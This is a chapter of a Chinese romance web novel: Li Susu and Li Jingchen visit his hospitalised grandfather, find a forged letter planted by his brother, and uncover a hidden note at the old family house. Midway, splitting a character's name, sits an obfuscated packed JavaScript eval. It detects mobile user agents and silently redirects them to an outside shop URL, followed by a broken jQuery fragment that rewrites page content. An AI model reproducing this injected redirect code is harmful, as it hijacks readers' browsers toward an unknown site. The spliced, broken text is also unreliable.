“去睡吧，”厉景琛收回手，“不要想太多。”
他说完就上了楼，步伐很快，像是在逃离什么。
李苏苏坐在沙发上，摸着被他揉过的头发，笑得眼睛都眯成了一条缝。
系统助手：“你完了，你彻底沦陷了。”
“我知道，”李苏苏在心里说，“但我心甘情愿。”
噩耗来得毫无征兆。
那天是周六，厉景琛难得在家休息。李苏苏本来计划拉他去看电影，票都买好了，是最近很火的一部爱情片。
“我票都买好了，你不能不去吧？”李苏苏举着手机给他看。
厉景琛看了一眼屏幕，眉头微皱：“爱情片？”
“对呀，情侣都看这个。”
“我们不是情侣。”
“快了快了，提前适应一下。”
厉景琛正要说什么，手机响了。
他看了一眼来电显示，表情微微变了。
“我接个电话。”
他走到阳台上，关上了玻璃门。
李苏苏隔着玻璃看着他的背影，虽然听不到他在说什么，但能看到他的身体逐渐变得僵硬。
挂了电话后，他在阳台上站了好一会儿，才推门进来。
“怎么了？”李苏苏问。
厉景琛的表情很平静，但李苏苏注意到，他的手指在微微发抖。
“老爷子病了，”他说，“住院了。”
李苏苏心里一沉：“什么病？”
“心脏病发作，正在抢救。”
“什么时候的事？”
“昨天晚上。老宅那边一直压着消息，今天才告诉我。”
李苏苏站起来：“我们现在去医院。”
厉景琛看着她，忽然问了一句：“李苏苏，你觉得厉景川知不知道老爷子住院的事？”
李苏苏愣了一下：“什么意思？”
“我的意思是，老爷子住院这件事，是不是厉景川计划的？”
李苏苏的大脑飞速运转。
系统助手已经在她脑海里开始分析了：“厉老爷子心脏病发作是真实的，不是装的。但时间点确实很可疑——厉景川被夺权不到两周，老爷子就病倒了。巧合的可能性有多大？”
“你觉得呢？”李苏苏在心里问。
“厉景川虽然没有直接对老爷子动手，但他之前做的那些事，每一件都在刺激老爷子。下毒的事虽然没有公开，但老爷子心里清楚。一个七十多岁的老人，知道自己的大儿子要杀小儿子，心脏能不出问题吗？”
李苏苏深吸一口气，看向厉景琛：“不管是不是计划好的，你都得去医院。如果厉景川真的在打什么主意，你不在场，他更容易得手。”
厉景琛点了点头，拿起外套就往外走。
李苏苏跟上去：“我跟你一起去。”
厉景琛停下脚步，回头看着她：“你不用去。”
“为什么？”
“因为这是厉家的事。”
“你的事就是我的事。”
“李苏苏——”
“厉景琛，”李苏苏认真地看着他，“我不管这是不是厉家的事，我只知道你需要我在身边。所以我要去。”
厉景琛盯着她看了好几秒，最终没有拒绝。
---
厉城第一人民医院，VIP病房区。
厉老爷子躺在病床上，脸色苍白，鼻子里插着氧气管，手上挂着点滴。厉景川坐在床边，握着老爷子的手，眼眶通红，看起来憔悴了不少。
厉景琛推门进去的时候，厉景川抬起头看了他一眼，目光中闪过一丝复杂的情绪。
“景琛，你来了。”他的声音沙哑，听起来像是哭过。
厉景琛点了点头，走到病床另一边，看着老爷子。
“爷爷。”
厉老爷子睁开眼，看了他一眼，嘴唇动了动，但没有说出话来。
“医生说情况怎么样？”厉景琛问厉景川。
“暂时稳定了，但需要观察，”厉景川擦了擦眼角，“医生说老爷子不能再受刺激了，不然……”
他没有说完，但意思已经很清楚了。
病房里安静了几秒。
李苏苏站在门口，没有进去，因为她看到厉景川的妻子也在病房里，正用一种审视的目光看着她。
“李小姐，”厉景川的妻子走出来，脸上挂着得体的微笑，“你也来了？”
“听说老爷子病了，我来看看。”
“你跟我们家老爷子，好像没什么关系吧？”
李苏苏笑了笑：“我跟景琛有关系，所以跟老爷子也有关系。”
厉景川的妻子笑容不变，但眼神冷了几分。
这时候，厉景川从病房里走出来，对李苏苏说：“李小姐，能不能麻烦你去楼下帮老爷子买杯热牛奶？医生说老爷子醒了可以喝点温的东西。”
李苏苏看了厉景琛一眼，厉景琛微微点了点头。
“好，”李苏苏说，“我这就去。”
她转身走向电梯，但走了几步，忽然觉得不对劲。
厉景川为什么要支开她？
她停下脚步，假装在包里找东西，实际上是让系统助手扫描病房区的情况。
“系统，厉景川刚才在病房里做了什么？”
“他把一样东西放进了老爷子的床头柜抽屉里。是一封信，内容不清楚。”
李苏苏的心一沉。
她没有去楼下，而是转身走回了病房区，但没有进病房，而是站在走廊的拐角处，暗中观察。
过了一会儿，厉景川从病房里出来，对厉景琛说：“景琛，你先在这里守着，我回去给老爷子拿换洗衣服。”
厉景琛点了点头。
厉景川走后，李苏苏立刻走进病房。
厉景琛看到她回来，有些意外：“牛奶买好了？”
“我没去，”李苏苏压低声音，“厉景川刚才在老爷子的床头柜抽屉里放了一封信。”
厉景琛的表情变了。
他走到床头柜前，拉开抽屉，里面果然有一封信。
信封上写着“厉景琛亲启”四个字。
厉景琛拿出信，打开看了一眼，脸色瞬间变得铁青。
“怎么了？”李苏苏凑过去。
信纸上只有一行字：“景琛，你母亲当年离家出走的真相，我写在了另一封信里，放在老宅书房第三个抽屉的夹层里。如果你想看，就来找我。——爷爷”
“这是老爷子的笔迹吗？”李苏苏问。
厉景
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609466|205881||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
琛盯着那行字看了很久，然后摇了摇头：“不像。”
“不是老爷子的笔迹？”
“字迹很像，但用词不像。爷爷不会叫我‘景琛’，他叫我‘琛儿’。而且他不会用这种方式给我留信，有什么事他会直接跟我说。”
李苏苏接过信纸仔细看了看，又让系统助手扫描了一遍。
系统助手的分析结果很快：“笔迹模仿度百分之九十，但有三个细节对不上。这封信不是厉老爷子写的，是有人模仿他的笔迹。”
“厉景川，”李苏苏说，“是他写的。”
厉景琛攥紧了信纸，指关节泛白。
“他想干什么？”他的声音很低，带着压抑的怒意。
“他想让你回老宅，”李苏苏分析道，“他故意支开我，又故意让你看到这封信，就是想让你一个人回老宅。”
“他为什么要让我回老宅？”
“因为老宅里有陷阱。”
厉景琛沉默了几秒，把信纸折好放进口袋。
“我先送你回去。”他说。
“我不回去，”李苏苏摇头，“我要跟你一起去老宅。”
“不行。”
“厉景琛，你一个人去太危险了。”
“所以你更不能去。”
“你听我说——”李苏苏拉住他的手臂，“如果厉景川真的在老宅设了陷阱，你一个人去就是自投罗网。我在你身边，至少多一个人帮你看着。”
厉景琛看着她，目光复杂。
“你帮不了我，”他说，“你连过肩摔都扛不住。”
李苏苏：“……”
系统助手在她脑海里笑出了声。
“那我也要去，”李苏苏固执地说，“你甩不掉我的。”
厉景琛深吸一口气，像是在忍耐什么。
“你跟在我身后，”他最终妥协了，“不要离开我的视线范围。”
“好。”
厉家老宅。
夕阳西下，金色的阳光洒在老宅的青砖灰瓦上，给这座古老的建筑镀上了一层温暖的颜色。
但李苏苏知道，这层温暖的颜色下，藏着的是冰冷的杀机。
她和厉景琛一起走进老宅。管家迎上来，表情有些惊讶：“二少爷，您怎么回来了？老爷子不是住院了吗？”
“回来拿点东西，”厉景琛说，“爷爷书房没人动过吧？”
“没有没有，老爷子的书房谁都不让进，锁着的。”
“钥匙呢？”
管家从口袋里掏出一串钥匙，找到书房的那一把，递给了厉景琛。
厉景琛接过钥匙，带着李苏苏上了楼。
书房在老宅的二楼，是一间朝南的大房间，窗户正对着院子里的花园。书房里很安静，只有墙上老式挂钟的滴答声。
厉景琛走到书桌前，拉开第三个抽屉。
抽屉里有一个暗格，如果不是知道位置，根本发现不了。他伸手进去，摸到了一张折好的纸。
“真的有……”他的声音有些发紧。
他打开那张纸，纸上的字迹和之前那封信一模一样——模仿老爷子的笔迹，但细节处能看出不同。
纸上的内容很短：“景琛，你母亲没有死。”
厉景琛的手猛地一抖。